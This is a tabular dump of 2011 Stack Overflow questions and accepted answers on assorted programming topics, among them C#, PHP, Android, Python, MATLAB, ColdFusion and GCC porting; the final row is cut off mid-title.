question_id int64 4 6.31M | answer_id int64 7 6.31M | title stringlengths 9 150 | question_body stringlengths 0 28.8k | answer_body stringlengths 60 27.2k | question_text stringlengths 40 28.9k | combined_text stringlengths 124 39.6k | tags listlengths 1 6 | question_score int64 0 26.3k | answer_score int64 0 28.8k | view_count int64 15 14M | answer_count int64 0 182 | favorite_count int64 0 32 | question_creation_date stringdate 2008-07-31 21:42:52 2011-06-10 18:12:18 | answer_creation_date stringdate 2008-07-31 22:17:57 2011-06-10 18:14:17 |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
6,245,297 | 6,245,586 | C# Form doesn't load until OpenGL animation has stopped working | I'm currently working on a project which allows me to compare some game-dedicated artificial intelligences (which are C# classes) by making them play ones against the others. The project includes an OpenGL animation to see the matchs between these classes. So basically I have a Form containing the OpenGL animation, and... | You are not giving the form any time to draw itself. Try putting Application.DoEvents() right before sleep. However, I would recommend running the while loop on a different thread to avoid this problem in the first place. | C# Form doesn't load until OpenGL animation has stopped working I'm currently working on a project which allows me to compare some game-dedicated artificial intelligences (which are C# classes) by making them play ones against the others. The project includes an OpenGL animation to see the matchs between these classes.... | TITLE:
C# Form doesn't load until OpenGL animation has stopped working
QUESTION:
I'm currently working on a project which allows me to compare some game-dedicated artificial intelligences (which are C# classes) by making them play ones against the others. The project includes an OpenGL animation to see the matchs betw... | [
"c#",
"forms",
"events",
"opengl",
"load"
] | 1 | 1 | 339 | 1 | 0 | 2011-06-05T19:26:30.913000 | 2011-06-05T20:16:57.430000 |
6,245,298 | 6,245,431 | Select doesn't work on IQueryable but does on IList | I have two lines of code, one is AllItems().Where(c => c.Id== id).Select(d => new Quality(d.QualityType)).ToList(); and the other one AllItems().Where(c => c.Id== id).ToList().Select(d => new Quality(d.QualityType)).ToList(); The only difference is on the second statement ToList() is called after the Where statement. T... | If SubSonic works in the same way as Entity framework you cannot use constructors with parameters - you must use parameterless constructors and initializers. My very high level explanation of this is that the query is not executed as is - it is translated to SQL and because of that you must use property initializers so... | Select doesn't work on IQueryable but does on IList I have two lines of code, one is AllItems().Where(c => c.Id== id).Select(d => new Quality(d.QualityType)).ToList(); and the other one AllItems().Where(c => c.Id== id).ToList().Select(d => new Quality(d.QualityType)).ToList(); The only difference is on the second state... | TITLE:
Select doesn't work on IQueryable but does on IList
QUESTION:
I have two lines of code, one is AllItems().Where(c => c.Id== id).Select(d => new Quality(d.QualityType)).ToList(); and the other one AllItems().Where(c => c.Id== id).ToList().Select(d => new Quality(d.QualityType)).ToList(); The only difference is o... | [
"c#",
".net",
"linq",
"subsonic",
"subsonic-simplerepository"
] | 4 | 4 | 578 | 2 | 0 | 2011-06-05T19:26:51.987000 | 2011-06-05T19:50:23.320000 |
6,245,325 | 6,245,334 | entity framework code first and database user | We're running into a small problem deploying a web application to another environment. We created the application's db using Entity Framework Code First approach (db automatic created from Model). In this development environment, we are using integrated security and the tables are created under the dbo user. The tables... | Specify schema explicitly: [Table("Users", Schema = "dbo")] public class User {.. } Or specify default db schema for your user - 'dbo' | entity framework code first and database user We're running into a small problem deploying a web application to another environment. We created the application's db using Entity Framework Code First approach (db automatic created from Model). In this development environment, we are using integrated security and the tab... | TITLE:
entity framework code first and database user
QUESTION:
We're running into a small problem deploying a web application to another environment. We created the application's db using Entity Framework Code First approach (db automatic created from Model). In this development environment, we are using integrated se... | [
"entity-framework-4.1",
"db-schema"
] | 12 | 17 | 7,679 | 3 | 0 | 2011-06-05T19:30:38.167000 | 2011-06-05T19:33:01.787000 |
6,245,326 | 6,246,156 | How can I access an instance method/property of a Host from Test Bundle Fragment? | I have a bundle test.Bundle1 that have some properties fulfilled by Blueprint injections. I've created one test fragment whose Host is test.Bundle1 and I would like to obtain myClassA instantiated singleton to access those properties. I know that I could acess the bundle from a class name using FrameworkUtil.getBundle(... | One way to go about this is to simply publish that instance as a service, so you can look it up in code that needs it. | How can I access an instance method/property of a Host from Test Bundle Fragment? I have a bundle test.Bundle1 that have some properties fulfilled by Blueprint injections. I've created one test fragment whose Host is test.Bundle1 and I would like to obtain myClassA instantiated singleton to access those properties. I k... | TITLE:
How can I access an instance method/property of a Host from Test Bundle Fragment?
QUESTION:
I have a bundle test.Bundle1 that have some properties fulfilled by Blueprint injections. I've created one test fragment whose Host is test.Bundle1 and I would like to obtain myClassA instantiated singleton to access tho... | [
"osgi",
"junit4",
"osgi-fragment"
] | 0 | 1 | 151 | 1 | 0 | 2011-06-05T19:30:44.853000 | 2011-06-05T22:00:16.457000 |
6,245,330 | 6,245,342 | Do I need to call Dispose() on a static object? | If I have a static WebClient object, do I need to call Dispose() on it at the end of Main()? | You should always Dispose() objects when you're finished with them, regardless of where you put the object. If the object is in a static field, it may be more difficult to figure out when you're finished with it. | Do I need to call Dispose() on a static object? If I have a static WebClient object, do I need to call Dispose() on it at the end of Main()? | TITLE:
Do I need to call Dispose() on a static object?
QUESTION:
If I have a static WebClient object, do I need to call Dispose() on it at the end of Main()?
ANSWER:
You should always Dispose() objects when you're finished with them, regardless of where you put the object. If the object is in a static field, it may b... | [
"c#",
"static",
"dispose"
] | 4 | 5 | 4,955 | 2 | 0 | 2011-06-05T19:31:33.380000 | 2011-06-05T19:34:06.693000 |
6,245,331 | 6,245,410 | sfValidatorRegex not working | I am trying validate a username field on a register form so that a username can only be made up of letters. However, when I use the sfValidatorRegex(), it always returns invalid ("johnny" will return invalid, as does "JoHnNy"). Here's the code I'm using: // From RegisterForm.class.php
$this->validatorSchema['username'... | Didn't understand whether you wanted lower or uppercase but try: Only lowercase: '/^[a-z]*$/' Lower or uppercase: '/^[A-z]*$/i' | sfValidatorRegex not working I am trying validate a username field on a register form so that a username can only be made up of letters. However, when I use the sfValidatorRegex(), it always returns invalid ("johnny" will return invalid, as does "JoHnNy"). Here's the code I'm using: // From RegisterForm.class.php
$thi... | TITLE:
sfValidatorRegex not working
QUESTION:
I am trying validate a username field on a register form so that a username can only be made up of letters. However, when I use the sfValidatorRegex(), it always returns invalid ("johnny" will return invalid, as does "JoHnNy"). Here's the code I'm using: // From RegisterFo... | [
"validation",
"forms",
"symfony1"
] | 0 | 0 | 1,290 | 1 | 0 | 2011-06-05T19:31:38.103000 | 2011-06-05T19:45:40.527000 |
6,245,335 | 6,245,344 | php how to make a if str_replace? | $str is some value in a foreach. $str = str_replace('_name_','_title_',$str); how to make a if str_replace? I want do the thing if have a str_replace then echo $str, else not, jump the current foreach then to the next. Thanks. | There is a fourth parameter to str_replace() that is set to the number of replacements performed. If nothing was replaced, it's set to 0. Drop a reference variable there, and then check it in your if statement: foreach ($str_array as $str) { $str = str_replace('_name_', '_title_', $str, $count);
if ($count > 0) { echo... | php how to make a if str_replace? $str is some value in a foreach. $str = str_replace('_name_','_title_',$str); how to make a if str_replace? I want do the thing if have a str_replace then echo $str, else not, jump the current foreach then to the next. Thanks. | TITLE:
php how to make a if str_replace?
QUESTION:
$str is some value in a foreach. $str = str_replace('_name_','_title_',$str); how to make a if str_replace? I want do the thing if have a str_replace then echo $str, else not, jump the current foreach then to the next. Thanks.
ANSWER:
There is a fourth parameter to s... | [
"php",
"str-replace"
] | 11 | 38 | 16,987 | 3 | 0 | 2011-06-05T19:33:08.467000 | 2011-06-05T19:34:24.417000 |
6,245,341 | 6,245,625 | Using CoffeeScript in a production environment | I really like using CoffeeScript (1.1.1) for small projects and it worked out great so far. However before using it in a more broad environment I would like to hear second opinions on using it in production. So my questions are: How stable is the language itself? Do I need to watch for upcoming changes which will break... | The language has been stable for the last six months (1.1.1 is basically just 1.0 with bugfixes). That's no guarantee of future stability, but I don't expect my book to be totally obsolete any time soon. I'd say the best practices for avoiding version issues are Make sure you document the version of CoffeeScript that y... | Using CoffeeScript in a production environment I really like using CoffeeScript (1.1.1) for small projects and it worked out great so far. However before using it in a more broad environment I would like to hear second opinions on using it in production. So my questions are: How stable is the language itself? Do I need... | TITLE:
Using CoffeeScript in a production environment
QUESTION:
I really like using CoffeeScript (1.1.1) for small projects and it worked out great so far. However before using it in a more broad environment I would like to hear second opinions on using it in production. So my questions are: How stable is the language... | [
"javascript",
"production-environment",
"coffeescript"
] | 26 | 18 | 1,749 | 2 | 0 | 2011-06-05T19:33:57.270000 | 2011-06-05T20:23:33.473000 |
6,245,361 | 6,258,495 | Jenkins behind Apache Web Server | I've spent the entire day trying to work out what my mod_rewrite rules should be for putting Jenkins behind Apache. I want to be able to access Jenkins via ci.mydomain.com. My current config allows me to access Jenkins however some resources are not loaded (for example the background image, and the New Job Link ) The p... | RewriteCond %{HTTP_HOST} ^mydomain\.com$ [NC] RewriteRule ^/jenkins/(.*)$ $1 [L,R=301] | Jenkins behind Apache Web Server I've spent the entire day trying to work out what my mod_rewrite rules should be for putting Jenkins behind Apache. I want to be able to access Jenkins via ci.mydomain.com. My current config allows me to access Jenkins however some resources are not loaded (for example the background im... | TITLE:
Jenkins behind Apache Web Server
QUESTION:
I've spent the entire day trying to work out what my mod_rewrite rules should be for putting Jenkins behind Apache. I want to be able to access Jenkins via ci.mydomain.com. My current config allows me to access Jenkins however some resources are not loaded (for example... | [
"mod-rewrite"
] | 2 | 0 | 1,105 | 2 | 0 | 2011-06-05T19:37:09.663000 | 2011-06-06T21:56:07.277000 |
6,245,368 | 6,245,526 | Searching a database table many times with different values | I have a user table with a list of facebook IDs as below. 'userID' is a unique key I give to each entry userID name facebookID 1 John Smith 5012991 2 Mark Jones 5912356 3 Bob Doe 814126819 My problem is that I have a list of facebook IDs of the friends of the currently logged in user. As you can imagine this can be any... | You can do a SELECT * FROM friends WHERE facebookID IN (5912356, 814126819); to find all the friends in a given list. You can read up on the IN funciton here: http://dev.mysql.com/doc/refman/5.5/en/comparison-operators.html#function_in, there's a similar NOT IN function if you need to find friends who are not yet on yo... | Searching a database table many times with different values I have a user table with a list of facebook IDs as below. 'userID' is a unique key I give to each entry userID name facebookID 1 John Smith 5012991 2 Mark Jones 5912356 3 Bob Doe 814126819 My problem is that I have a list of facebook IDs of the friends of the ... | TITLE:
Searching a database table many times with different values
QUESTION:
I have a user table with a list of facebook IDs as below. 'userID' is a unique key I give to each entry userID name facebookID 1 John Smith 5012991 2 Mark Jones 5912356 3 Bob Doe 814126819 My problem is that I have a list of facebook IDs of t... | [
"php",
"mysql"
] | 2 | 3 | 173 | 3 | 0 | 2011-06-05T19:38:26.483000 | 2011-06-05T20:05:01.147000 |
6,245,369 | 6,246,174 | Emulator uses too much ram | I've just installed the Android SDK and create my AVD, but I've got a problem. I'm on a Windows 7 x64, with an Intel i5 and 4GB RAM, so the emulator should run well. But when I start it, on the windows task manager, I can see that it use more than 1GB of RAM! Is it possible?! I tried to use snapshot, tried to set the d... | Another thing that can be helpful (since I saw you were mentioning speed as well) is to lower the resolution of the emulator. At the Google IO 2011 session on the developer tools (video at http://www.google.com/events/io/2011/sessions/android-development-tools.html ), they claimed that the reason the emulator is so slo... | Emulator uses too much ram I've just installed the Android SDK and create my AVD, but I've got a problem. I'm on a Windows 7 x64, with an Intel i5 and 4GB RAM, so the emulator should run well. But when I start it, on the windows task manager, I can see that it use more than 1GB of RAM! Is it possible?! I tried to use s... | TITLE:
Emulator uses too much ram
QUESTION:
I've just installed the Android SDK and create my AVD, but I've got a problem. I'm on a Windows 7 x64, with an Intel i5 and 4GB RAM, so the emulator should run well. But when I start it, on the windows task manager, I can see that it use more than 1GB of RAM! Is it possible?... | [
"android",
"android-emulator"
] | 3 | 2 | 5,743 | 2 | 0 | 2011-06-05T19:38:26.740000 | 2011-06-05T22:02:36.703000 |
6,245,372 | 6,245,424 | Entering default text for password field | Is there a way to enter a default text to a password field? Basically I have a password field that is supposed to mask someone's id but before the user enteres the id, I want the field's value to show 'Enter your ID here' Is there a way to do this? | If you want to use plain javascript, you could do: HTML Password: Javascript function setPass() { document.getElementById('placeholder').style.display = 'none'; document.getElementById('password').style.display = 'inline'; document.getElementById('password').focus(); } function checkPass() { if (document.getElementById... | Entering default text for password field Is there a way to enter a default text to a password field? Basically I have a password field that is supposed to mask someone's id but before the user enteres the id, I want the field's value to show 'Enter your ID here' Is there a way to do this? | TITLE:
Entering default text for password field
QUESTION:
Is there a way to enter a default text to a password field? Basically I have a password field that is supposed to mask someone's id but before the user enteres the id, I want the field's value to show 'Enter your ID here' Is there a way to do this?
ANSWER:
If ... | [
"javascript",
"forms"
] | 1 | 4 | 2,899 | 3 | 0 | 2011-06-05T19:39:20.987000 | 2011-06-05T19:48:05.197000 |
6,245,373 | 6,245,411 | Templates In Kohana 3.1 | I used them before several months. Then I switched to Fuel. Then I switched back to Kohana. Problem? I have forgot how to correctly use templates (with that I mean Controller_Template ). There was tutorials on Kohana's docs, but now links seem to be broken. Please remind me how to use them! | If you really want to use them, you have to extend Kohana_Template. Then you would set a public field '$template' to your view name, and then just do $this->template->foo = "foo" to set variables on the template public class Controller_MyController extends Controller_Template { public $template = "my_view"; public func... | Templates In Kohana 3.1 I used them before several months. Then I switched to Fuel. Then I switched back to Kohana. Problem? I have forgot how to correctly use templates (with that I mean Controller_Template ). There was tutorials on Kohana's docs, but now links seem to be broken. Please remind me how to use them! | TITLE:
Templates In Kohana 3.1
QUESTION:
I used them before several months. Then I switched to Fuel. Then I switched back to Kohana. Problem? I have forgot how to correctly use templates (with that I mean Controller_Template ). There was tutorials on Kohana's docs, but now links seem to be broken. Please remind me how... | [
"templates",
"view",
"kohana",
"kohana-3"
] | 3 | 1 | 2,612 | 2 | 0 | 2011-06-05T19:39:22.133000 | 2011-06-05T19:45:54.647000 |
6,245,379 | 6,245,505 | How to programmatically read the paragraph values from the richtexteditor? | hello kitty! hello world! hello fb! BlockCollection bc = richTextBox1.Blocks; foreach (var b in bc) {
} The Paragraphs are in the collection and b are Paragraph type but I don't know how to read the value from them. There aren't any text property or innerHTML property. | You could use code like this to get values from the paragraphs. foreach (var paragraph in richTextBox1.Blocks.OfType ()) { foreach (var run in paragraph.Inlines.OfType ()) { var text = run.Text; } } | How to programmatically read the paragraph values from the richtexteditor? hello kitty! hello world! hello fb! BlockCollection bc = richTextBox1.Blocks; foreach (var b in bc) {
} The Paragraphs are in the collection and b are Paragraph type but I don't know how to read the value from them. There aren't any text proper... | TITLE:
How to programmatically read the paragraph values from the richtexteditor?
QUESTION:
hello kitty! hello world! hello fb! BlockCollection bc = richTextBox1.Blocks; foreach (var b in bc) {
} The Paragraphs are in the collection and b are Paragraph type but I don't know how to read the value from them. There aren... | [
"silverlight",
"silverlight-4.0"
] | 2 | 1 | 313 | 2 | 0 | 2011-06-05T19:40:56.410000 | 2011-06-05T20:01:32.163000 |
6,245,382 | 6,245,637 | Losing elements in python code while creating a dictionary from a list? | I have some headache with this python code. print "length:", len(pub) # length: 420 pub_dict = dict((p.key, p) for p in pub) print "dict:", len(pub_dict) # length: 163 If I understand this right, I get a dictionary containing the attribute p.key as key and the object p as its value for each element of pub. Are there so... | Since you may have several p with the same key then you may use list as value for you key within new dicitionary: pub_dict = {} for p in pub: if not p.key in pub_dict: pub_dict[p.key] = [] pub_dict[p.key].append(p) Or if it is neccessary for you to uniquely identify each record you may use any combined key like key + a... | Losing elements in python code while creating a dictionary from a list? I have some headache with this python code. print "length:", len(pub) # length: 420 pub_dict = dict((p.key, p) for p in pub) print "dict:", len(pub_dict) # length: 163 If I understand this right, I get a dictionary containing the attribute p.key as... | TITLE:
Losing elements in python code while creating a dictionary from a list?
QUESTION:
I have some headache with this python code. print "length:", len(pub) # length: 420 pub_dict = dict((p.key, p) for p in pub) print "dict:", len(pub_dict) # length: 163 If I understand this right, I get a dictionary containing the ... | [
"python",
"dictionary",
"list-comprehension"
] | 6 | 4 | 2,043 | 2 | 0 | 2011-06-05T19:41:17.673000 | 2011-06-05T20:25:55.343000 |
6,245,399 | 6,253,550 | Extra window problem when generating .exe file with MATLAB | usually i simply develop executable (.exe) files of my MATLAB codes by using this command: mcc -m GUI.m although there's no problem with the.exe creation, unfortunately when i opened the.exe, there's a black window (like command prompt) that is also opened, so two windows in total... the GUI figure and the prompt. how ... | Use -e instead of -m in the mcc command line. This will change how it's compiled (making it a GUI app instead of a console app), and suppress the command window. Requires Visual Studio. See doc mcc for details. | Extra window problem when generating .exe file with MATLAB usually i simply develop executable (.exe) files of my MATLAB codes by using this command: mcc -m GUI.m although there's no problem with the.exe creation, unfortunately when i opened the.exe, there's a black window (like command prompt) that is also opened, so ... | TITLE:
Extra window problem when generating .exe file with MATLAB
QUESTION:
usually i simply develop executable (.exe) files of my MATLAB codes by using this command: mcc -m GUI.m although there's no problem with the.exe creation, unfortunately when i opened the.exe, there's a black window (like command prompt) that i... | [
"user-interface",
"matlab",
"executable"
] | 2 | 2 | 889 | 1 | 0 | 2011-06-05T19:43:23.680000 | 2011-06-06T14:30:18.813000 |
6,245,416 | 6,245,428 | Web based forms for sql server 2008 | Is there any "Access-like" tool for sql server and that is web based? I mean having rich controls and automatically creating web forms. My goal is to create an offline database in SQL server. I just don't know what is the best tool to use. | You can use access with a SQL Server backend, though this of course is not web based. As far as I know, there is nothing that will create a CRUD web application for you. I suggest reading and learning about ASP.NET and ASP.NET/MVC, with either C# or VB.NET. There are many tools that help and assist with the data access... | Web based forms for sql server 2008 Is there any "Access-like" tool for sql server and that is web based? I mean having rich controls and automatically creating web forms. My goal is to create an offline database in SQL server. I just don't know what is the best tool to use. | TITLE:
Web based forms for sql server 2008
QUESTION:
Is there any "Access-like" tool for sql server and that is web based? I mean having rich controls and automatically creating web forms. My goal is to create an offline database in SQL server. I just don't know what is the best tool to use.
ANSWER:
You can use acces... | [
"sql",
"sql-server-2008-r2"
] | 2 | 3 | 4,238 | 2 | 0 | 2011-06-05T19:46:40.087000 | 2011-06-05T19:48:53.843000 |
6,245,433 | 6,245,459 | Securing access to a database accessed from a mobile device | I want to write a mobile application to access a database that is currently held on our LAN and accessed by an application on the network. I know that I can open a port in our firewall to redirect the traffic from the mobile device to the database but I a concerned about the security. What ways could I consider to prov... | What I would do in this situation is provide an interface like WCF (REST/JSON/etc.) to the database for your mobile users. Eventually you could even convert over to using that for the LAN and the web. The result would be even better security all around. Here are some examples of how to do this: Java RESTful Web Service... | Securing access to a database accessed from a mobile device I want to write a mobile application to access a database that is currently held on our LAN and accessed by an application on the network. I know that I can open a port in our firewall to redirect the traffic from the mobile device to the database but I a conc... | TITLE:
Securing access to a database accessed from a mobile device
QUESTION:
I want to write a mobile application to access a database that is currently held on our LAN and accessed by an application on the network. I know that I can open a port in our firewall to redirect the traffic from the mobile device to the dat... | [
"database",
"security",
"mobile"
] | 4 | 1 | 578 | 2 | 0 | 2011-06-05T19:50:25.127000 | 2011-06-05T19:53:48.870000 |
6,245,440 | 6,245,527 | I need to have the <p></p> removed from TinyMCE | I need to have the that are automatically added by TinyMCE at the very beginning and the end removed. How? Thanks. | I found http://tinymce.moxiecode.com/wiki.php/TinyMCE_FAQ#Select_if_default_text.2C_then_delete_when_typing_starts.3F, you may want to take a look at that. You could use javascript (jquery) and do something like var contents = $('.tiny-mce-text p').innerHTML; $('.tiny-mce-text p').remove(); $('.tiny-mce-text').innerHTM... | I need to have the <p></p> removed from TinyMCE I need to have the that are automatically added by TinyMCE at the very beginning and the end removed. How? Thanks. | TITLE:
I need to have the <p></p> removed from TinyMCE
QUESTION:
I need to have the that are automatically added by TinyMCE at the very beginning and the end removed. How? Thanks.
ANSWER:
I found http://tinymce.moxiecode.com/wiki.php/TinyMCE_FAQ#Select_if_default_text.2C_then_delete_when_typing_starts.3F, you may wan... | [
"tinymce",
"wysiwyg"
] | 2 | 1 | 477 | 1 | 0 | 2011-06-05T19:51:07.497000 | 2011-06-05T20:05:17.300000 |
6,245,446 | 6,245,564 | XML serialization of references | I am writing a game which has a set of rules which should be loaded or saved from/to an XML file. I have a UnitType class which can serialize and deserialize itself. I also have a Faction class which can load/save to XML. And I have a Rules class which contains UnitType[] unitTypes; Faction[] factions When loading the ... | It actually depends on how you do the XML<->Java mapping. If you use JAXB, you can use @XmlID / @XmlIDRef. If you roll your own, look into IdentityHashMap, and just generate back-references. | XML serialization of references I am writing a game which has a set of rules which should be loaded or saved from/to an XML file. I have a UnitType class which can serialize and deserialize itself. I also have a Faction class which can load/save to XML. And I have a Rules class which contains UnitType[] unitTypes; Fact... | TITLE:
XML serialization of references
QUESTION:
I am writing a game which has a set of rules which should be loaded or saved from/to an XML file. I have a UnitType class which can serialize and deserialize itself. I also have a Faction class which can load/save to XML. And I have a Rules class which contains UnitType... | [
"java",
"xml",
"serialization",
"reference"
] | 1 | 2 | 341 | 2 | 0 | 2011-06-05T19:51:40.493000 | 2011-06-05T20:12:46.793000 |
6,245,448 | 6,245,492 | How can I tell perl the path for a module? | I use a perl module file in my perl script: printtab.pl use Table; Table.pm is present in the same directory as printtab.pl, so as long as I am executing printtab from the directory, it executes fine. But If I execute it from some other place, for example, using a cronjob, I get an error mentioning that the module is n... | use lib is a good option. But is you place your modules in the same directory as your programs (or in a sub-directory relative to the one containing your programs), you could use use FindBin; like: use FindBin; use lib "$FindBin::Bin/../lib"; | How can I tell perl the path for a module? I use a perl module file in my perl script: printtab.pl use Table; Table.pm is present in the same directory as printtab.pl, so as long as I am executing printtab from the directory, it executes fine. But If I execute it from some other place, for example, using a cronjob, I g... | TITLE:
How can I tell perl the path for a module?
QUESTION:
I use a perl module file in my perl script: printtab.pl use Table; Table.pm is present in the same directory as printtab.pl, so as long as I am executing printtab from the directory, it executes fine. But If I execute it from some other place, for example, us... | [
"perl",
"perl-module"
] | 4 | 14 | 580 | 3 | 0 | 2011-06-05T19:51:59.933000 | 2011-06-05T19:59:52.173000 |
6,245,450 | 6,245,497 | How to create audio spectrum in c# | I want to make an audio player in c# with signal spectrum. I saw some examples in the net about how to make the player but cant find example about the spectrum. Anyone can give me a direction please? http://www.codeproject.com/KB/directx/directshowmediaplayer.aspx http://www.codeproject.com/KB/directx/directshownet.asp... | There's a CodeProject article that shows how to create a visualizer. If you want to perform more advanced actions, you can look at libraries such as FMOD and BASS. They can both pretty much display spectrums with a few lines of code. However, if your project is for commercial use, you should read their licenses. Altern... | How to create audio spectrum in c# I want to make an audio player in c# with signal spectrum. I saw some examples in the net about how to make the player but cant find example about the spectrum. Anyone can give me a direction please? http://www.codeproject.com/KB/directx/directshowmediaplayer.aspx http://www.codeproje... | TITLE:
How to create audio spectrum in c#
QUESTION:
I want to make an audio player in c# with signal spectrum. I saw some examples in the net about how to make the player but cant find example about the spectrum. Anyone can give me a direction please? http://www.codeproject.com/KB/directx/directshowmediaplayer.aspx ht... | [
"c#",
".net",
"audio",
"directshow.net"
] | 5 | 9 | 18,719 | 2 | 0 | 2011-06-05T19:52:40.463000 | 2011-06-05T20:00:45.513000 |
6,245,453 | 6,245,475 | Compiler won't recognise constructor override properly | I'll let the code and errors do the talk, because I really think they say everything except THIS SHOULDN'T BE HAPPENING! Does anyone know how to make this compile? Code class CountDownTimerGUI extends BHTimerGUI { private TimerJPanel control; private TimerDisplayJPanel disp;
public CountDownTimerGUI(TimerJPanel contro... | Yes, this SHOULD be happening! you are not initializing the superclass constructor. Try with this constructor: public CountDownTimerGUI(TimerJPanel control, TimerDisplayJPanel disp){ super(control, disp); this.control = control; this.disp = disp; } | Compiler won't recognise constructor override properly I'll let the code and errors do the talk, because I really think they say everything except THIS SHOULDN'T BE HAPPENING! Does anyone know how to make this compile? Code class CountDownTimerGUI extends BHTimerGUI { private TimerJPanel control; private TimerDisplayJP... | TITLE:
Compiler won't recognise constructor override properly
QUESTION:
I'll let the code and errors do the talk, because I really think they say everything except THIS SHOULDN'T BE HAPPENING! Does anyone know how to make this compile? Code class CountDownTimerGUI extends BHTimerGUI { private TimerJPanel control; priv... | [
"java",
"netbeans",
"compiler-errors"
] | 2 | 6 | 2,170 | 4 | 0 | 2011-06-05T19:53:02.613000 | 2011-06-05T19:57:08.883000 |
6,245,455 | 6,246,195 | Creating new params in the Code is not working? | This chunk of code doesnt seem to be doing its job. line=(ImageView)findViewById(R.id.imageView1); RelativeLayout.LayoutParams params==(RelativeLayout.LayoutParams)line.getLayoutParams(); params.addRule(RelativeLayout.BELOW, R.id.minSpinner); line.setLayoutParams(params); **Note all of these have been instantiated just... | Have you tried quickly implementing the layout in XML to make sure that BELOW is actually functioning as you're expecting? Relative layouts can be tricky to figure out without some trial and error. | Creating new params in the Code is not working? This chunk of code doesnt seem to be doing its job. line=(ImageView)findViewById(R.id.imageView1); RelativeLayout.LayoutParams params==(RelativeLayout.LayoutParams)line.getLayoutParams(); params.addRule(RelativeLayout.BELOW, R.id.minSpinner); line.setLayoutParams(params);... | TITLE:
Creating new params in the Code is not working?
QUESTION:
This chunk of code doesnt seem to be doing its job. line=(ImageView)findViewById(R.id.imageView1); RelativeLayout.LayoutParams params==(RelativeLayout.LayoutParams)line.getLayoutParams(); params.addRule(RelativeLayout.BELOW, R.id.minSpinner); line.setLay... | [
"android",
"android-layout"
] | 1 | 0 | 95 | 2 | 0 | 2011-06-05T19:53:11.537000 | 2011-06-05T22:05:37.683000 |
6,245,462 | 6,245,538 | Reverse has_one relationship with ActiveRecord in Rails? | I'm going to pull my hair out here. I have the following two tables: databases --------- id user_id driver host port database_name username_encryption_id password_encryption_id
encryptions ----------- id encryption salt Using a Ruby on Rails ActiveRecord association, I want to be able to do this: database = Database.f... | This looks like a belongs_to association, since the database has the username_encryption_id: class UsernameEncryption < Encryption has_one:database end
class Database belongs_to:username_encryption end | Reverse has_one relationship with ActiveRecord in Rails? I'm going to pull my hair out here. I have the following two tables: databases --------- id user_id driver host port database_name username_encryption_id password_encryption_id
encryptions ----------- id encryption salt Using a Ruby on Rails ActiveRecord associa... | TITLE:
Reverse has_one relationship with ActiveRecord in Rails?
QUESTION:
I'm going to pull my hair out here. I have the following two tables: databases --------- id user_id driver host port database_name username_encryption_id password_encryption_id
encryptions ----------- id encryption salt Using a Ruby on Rails Ac... | [
"ruby-on-rails",
"activerecord",
"has-one"
] | 1 | 2 | 1,479 | 1 | 0 | 2011-06-05T19:54:16.933000 | 2011-06-05T20:06:49.053000 |
6,245,479 | 6,245,645 | Best practice with Coldfusion deployment | I'm new to Coldfusion development and inherited an already deployed project. Due to various technical limitation, it is not possible to develop locally on our workstations (like you would do for.net). As a consequence, the files are edited directly from the test servers (and commited on SVN from there). Once again, as ... | In our office we tried firstly ANT + MXUnit + Selenium + TeamCity but after some time we decided to switch to Jenkins/Hudson continuous integration server. There are plenty of how-tos and tutorials about continuous integration so I guess you don't need me here to explain it in details. All in all, build your ANT script... | Best practice with Coldfusion deployment I'm new to Coldfusion development and inherited an already deployed project. Due to various technical limitation, it is not possible to develop locally on our workstations (like you would do for.net). As a consequence, the files are edited directly from the test servers (and com... | TITLE:
Best practice with Coldfusion deployment
QUESTION:
I'm new to Coldfusion development and inherited an already deployed project. Due to various technical limitation, it is not possible to develop locally on our workstations (like you would do for.net). As a consequence, the files are edited directly from the tes... | [
"svn",
"ant",
"coldfusion",
"cfeclipse",
"mxunit"
] | 5 | 5 | 2,050 | 2 | 0 | 2011-06-05T19:57:37.377000 | 2011-06-05T20:27:21.400000 |
6,245,480 | 6,247,808 | WPF slow when TabControl bound to ViewModels | I have TabControl bound directly to IEnumerable (different ViewModels), rendered using DataTemplates. BUT when switching Tabs, one can se that TabItems are completely redrawed and it's soooo slow. Is it normal??? | Is your data context truly exposing an IEnumerable as the binding source? If so, I recommend you take a look at How Data Binding References are Resolved. This won't explicitly address the redraw issue, but if you expose your view models data source using a collection that supports the INotifyPropertyChanged interface s... | WPF slow when TabControl bound to ViewModels I have TabControl bound directly to IEnumerable (different ViewModels), rendered using DataTemplates. BUT when switching Tabs, one can se that TabItems are completely redrawed and it's soooo slow. Is it normal??? | TITLE:
WPF slow when TabControl bound to ViewModels
QUESTION:
I have TabControl bound directly to IEnumerable (different ViewModels), rendered using DataTemplates. BUT when switching Tabs, one can se that TabItems are completely redrawed and it's soooo slow. Is it normal???
ANSWER:
Is your data context truly exposing... | [
"c#",
".net",
"wpf",
"mvvm",
"data-binding"
] | 6 | 2 | 4,831 | 2 | 0 | 2011-06-05T19:57:47.150000 | 2011-06-06T04:37:44.923000 |
6,245,481 | 6,245,609 | Porting GCC to new architectures | How do I go about porting gcc to a new architecture? I am specifically interested in the following architectures: ARM (TI OMAPs) TI MSP430 x86 but guidance on how to port to any architecture would go some way to solving my problem. | Learning to port gcc is going to be a significantly non-trivial task. As a rough guide of what to expect, you will need to know: The target architecture inside out. Literally, otherwise how else will you know how to convert C to it? The C standard, so C89, C99 etc. How compilers work. There are whole books on this. In ... | Porting GCC to new architectures How do I go about porting gcc to a new architecture? I am specifically interested in the following architectures: ARM (TI OMAPs) TI MSP430 x86 but guidance on how to port to any architecture would go some way to solving my problem. | TITLE:
Porting GCC to new architectures
QUESTION:
How do I go about porting gcc to a new architecture? I am specifically interested in the following architectures: ARM (TI OMAPs) TI MSP430 x86 but guidance on how to port to any architecture would go some way to solving my problem.
ANSWER:
Learning to port gcc is goin... | [
"architecture",
"gcc",
"porting",
"cross-compiling"
] | 1 | 7 | 6,420 | 2 | 0 | 2011-06-05T19:57:51.800000 | 2011-06-05T20:21:40.627000 |
6,245,493 | 6,245,513 | How to call a method from a button in C# | I have a button in C#: private void button15_Click(object sender, EventArgs e) {
StartService(); } and I try to call the method: public static void StartService(string serviceName, int timeoutMilliseconds) { ServiceController service = new ServiceController(serviceName); try { TimeSpan timeout = TimeSpan.FromMilliseco... | You would need to provide the parameters for startservice. At the moment, Im very doubtful this would compile. Eg StartService("MyService",20000); | How to call a method from a button in C# I have a button in C#: private void button15_Click(object sender, EventArgs e) {
StartService(); } and I try to call the method: public static void StartService(string serviceName, int timeoutMilliseconds) { ServiceController service = new ServiceController(serviceName); try { ... | TITLE:
How to call a method from a button in C#
